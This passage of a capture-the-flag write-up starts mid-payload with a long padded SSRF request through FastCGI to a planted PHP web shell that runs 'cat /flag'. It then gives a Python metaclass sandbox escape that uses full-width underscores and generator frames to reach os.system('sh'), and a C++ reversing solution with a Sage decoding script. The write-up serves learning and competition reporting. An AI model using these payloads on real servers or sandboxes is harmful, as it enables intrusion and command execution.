AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/tmp/tmp/pear/download/shell.php/?cmd=cat%20/flag' -v
Flag: BALSN{e4Sy_4pAcHy_5SrF}
Misc
metaeasy
class MasterMetaClass(type):
def __new__(cls, class_name, class_parents, class_attr):
def getFlag(self):
print('Here you go, my master')
with open('flag') as f:
print(f.read())
class_attr[getFlag.__name__] = getFlag
attrs = ((name, value) for name, value in class_attr.items() if not name.startswith('__'))
class_attr = dict(('IWant'+name.upper()+'Plz', value) for name, value in attrs)
newclass = super().__new__(cls, class_name, class_parents, class_attr)
return newclass
def __init__(*argv):
print('Bad guy! No Flag !!')
raise 'Illegal'
class BalsnMetaClass(type):
def getFlag(self):
print('You\'re not Master! No Flag !!')
def __new__(cls, class_name, class_parents, class_attr):
newclass = super().__new__(cls, class_name, class_parents, class_attr)
setattr(newclass, cls.getFlag.__name__, cls.getFlag)
return newclass
def secure_vars(s):
attrs = {name:value for name, value in vars(s).items() if not name.startswith('__')}
return attrs
safe_dict = {
'BalsnMetaClass' : BalsnMetaClass,
'MasterMetaClass' : MasterMetaClass,
'False' : False,
'True' : True,
'abs' : abs,
'all' : all,
'any' : any,
'ascii' : ascii,
'bin' : bin,
'bool' : bool,
'bytearray' : bytearray,
'bytes' : bytes,
'chr' : chr,
'complex' : complex,
'dict' : dict,
'dir' : dir,
'divmod' : divmod,
'enumerate' : enumerate,
'filter' : filter,
'float' : float,
'format' : format,
'hash' : hash,
'help' : help,
'hex' : hex,
'id' : id,
'int' : int,
'iter' : iter,
'len' : len,
'list' : list,
'map' : map,
'max' : max,
'min' : min,
'next' : next,
'oct' : oct,
'ord' : ord,
'pow' : pow,
'print' : print,
'range' : range,
'reversed' : reversed,
'round' : round,
'set' : set,
'slice' : slice,
'sorted' : sorted,
'str' : str,
'sum' : sum,
'tuple' : tuple,
'type' : type,
'vars' : secure_vars,
'zip' : zip,
'__builtins__':None
}
def createMethod(code):
if len(code) > 45:
print('Too long!! Bad Guy!!')
return
for x in ' _$#@~':
code = code.replace(x,'')
def wrapper(self):
exec(code, safe_dict, {'self' : self})
return wrapper
def setName(pattern):
while True:
name = input(f'Give me your {pattern} name :')
if (name.isalpha()):
break
else:
print('Illegal Name...')
return name
def setAttribute(cls):
attrName = setName('attribute')
while True:
attrValue = input(f'Give me your value:')
if (attrValue.isalnum()):
break
else:
print('Illegal value...')
setattr(cls, attrName, attrValue)
def setMethod(cls):
methodName = setName('method')
code = input(f'Give me your function:')
func = createMethod(code)
setattr(cls, methodName, func)
def getAttribute(obj):
attrs = [attr for attr in dir(obj) if not callable(getattr(obj, attr)) and not attr.startswith("__")]
x = input('Please enter the attribute\'s name :')
if x not in attrs:
print(f'You can\'t access the attribute {x}')
return
else:
try:
print(f'{x}: {getattr(obj, x)}')
except:
print("Something went wrong in your attribute...")
return
def callMethod(cls, obj):
attrs = [attr for attr in dir(obj) if callable(getattr(obj, attr)) and not attr.startswith("__")]
x = input('Please enter the method\'s name :')
if x not in attrs:
print(f'You can\'t access the method {x}')
return
else:
try:
print(f'calling method {x}...')
cls.__dict__[x](obj)
print('done')
except:
print('Something went wrong in your method...')
return
class Guest(metaclass = BalsnMetaClass):
pass
if __name__ == '__main__':
print(f'Welcome!!We have prepared a class named "Guest" for you')
cnt = 0
while cnt < 3:
cnt += 1
print('1. Add attribute')
print('2. Add method')
print('3. Finish')
x = input("Option ? :")
if x == "1":
setAttribute(Guest)
elif x == "2":
setMethod(Guest)
elif x == "3":
break
else:
print("invalid input.")
cnt -= 1
print("Well Done! We Create an instance for you !")
obj = Guest()
cnt = 0
while cnt < 3:
cnt += 1
print('1. Inspect attribute')
print('2. Using method')
print('3. Exit')
x = input("Option ? :")
if x == "1":
getAttribute(obj)
elif x == "2":
callMethod(Guest, obj)
elif x == "3":
print("Okay...exit...")
break
else:
print("invalid input.")
cnt -= 1
This challenge has a lot of code. In short, it allows you to define three attributes or methods, then call or view them. The goal is to call the getFlag
function.
I didn't use the intended solution, so it was faster, and I got the first blood.
The createMethod
part only requires the length to be under 45, and characters _$#@~
are replaced. _
can be bypassed with the full-width character _
, and spaces with \t
. So, I used a generator to get gi_frame.f_back.f_back.f_builtins
, then got a shell.
Solution:
- Create method
a
withself.g=(x.g.gi_frame.f_back for x in [self])
- Create method
b
withself.b=next(self.g).f_back.f_builtins
- Create method
c
withself.b[list(self.b)[6]]('os').system('sh')
- Call method
a
- Call method
b
- Call method
c
cat flag
For the intended solution, see other writeups, such as this one.
Rev
The g++ VM 1
This challenge has an unstripped C++ ELF. Opening it in IDA shows it reads a 36-character flag as a flag checker. The characters are limited to this charset: mgzreab_fw{p}dqlnxstvjyohiuck
.
The reversing part was mainly done by 🎃. In short, main
reads 6 characters at a time into global variables P, J, K, L, M, N
, then calls a table(i / 6)
function. table(x)
encodes the six characters into a number S
, then depending on x
(0~5), enters different functions to calculate something using S
, and returns the result to main
for comparison with some magic numbers.
A major difficulty is that the function names in table
are extremely long, indicating excessive use of C++ templates. Opening it in Ghidra causes memory overflow due to demangling. The first function in table
that converts characters to S
has a name that expands to 10MB with c++filt
.
In summary, 🎃 manually reversed the encoding function and table(0)
. The encoding method can be represented as follows:
def encode(s):
P, J, K, L, M, N = s
J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05
J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05
J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05
J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05
J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05
S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
return S
The %
operation is C's modulo, so (((J - 0x61) % 0x1A + 0x1A) % 0x1A)
in Python is just (J - 0x61) % 0x1A
. Also, note that 0x1A ** 2 == 0x2A4
, 0x1A ** 3 == 0x44A8
, so the encoding method can be represented as:
Where etc. are positive integers less than , so % 0x1D188D05
has no effect. Converting S
to base gives the pre-encoded string:
def decode(s):
ss = list(s.digits(0x1A))
ss += [0] * (6 - len(ss))
return bytes(x + 0x61 for x in ss)
table(0)
is also complex, but essentially calculates , where is easy to obtain, but needs to be reversed.
Other table(x)
functions do similar things, with different values, all primes. I found the generators of their multiplicative groups, then used gdb to modify S
and observe output, calculating dlog to find .
Then, using the magic numbers, I calculated the th root, similar to single prime RSA.
def encode(s):
P, J, K, L, M, N = s
J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05
J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05
J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05
J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05
J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05
S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
return S
def decode(s):
ss = list(s.digits(0x1A))
ss += [0] * (6 - len(ss))
return bytes(x + 0x61 for x in ss)
cs = [316196015, 183449189, 325026406, 93125040, 247649200, 358564396]
ps = [521206709, 280983943, 481821731, 446513681, 295950349, 519344851]
es = [398527879, 12904111, 229804014, 379903019, 116437633, 461497417]
for p, e, c in zip(ps, es, cs):
F = GF(p)
print(decode(ZZ(F(c).nth_root(e))).decode(), end="")
# balsnatheyymagicyycpplusyytemplateyc
Flag: balsn{the__magic__cpplus__template_}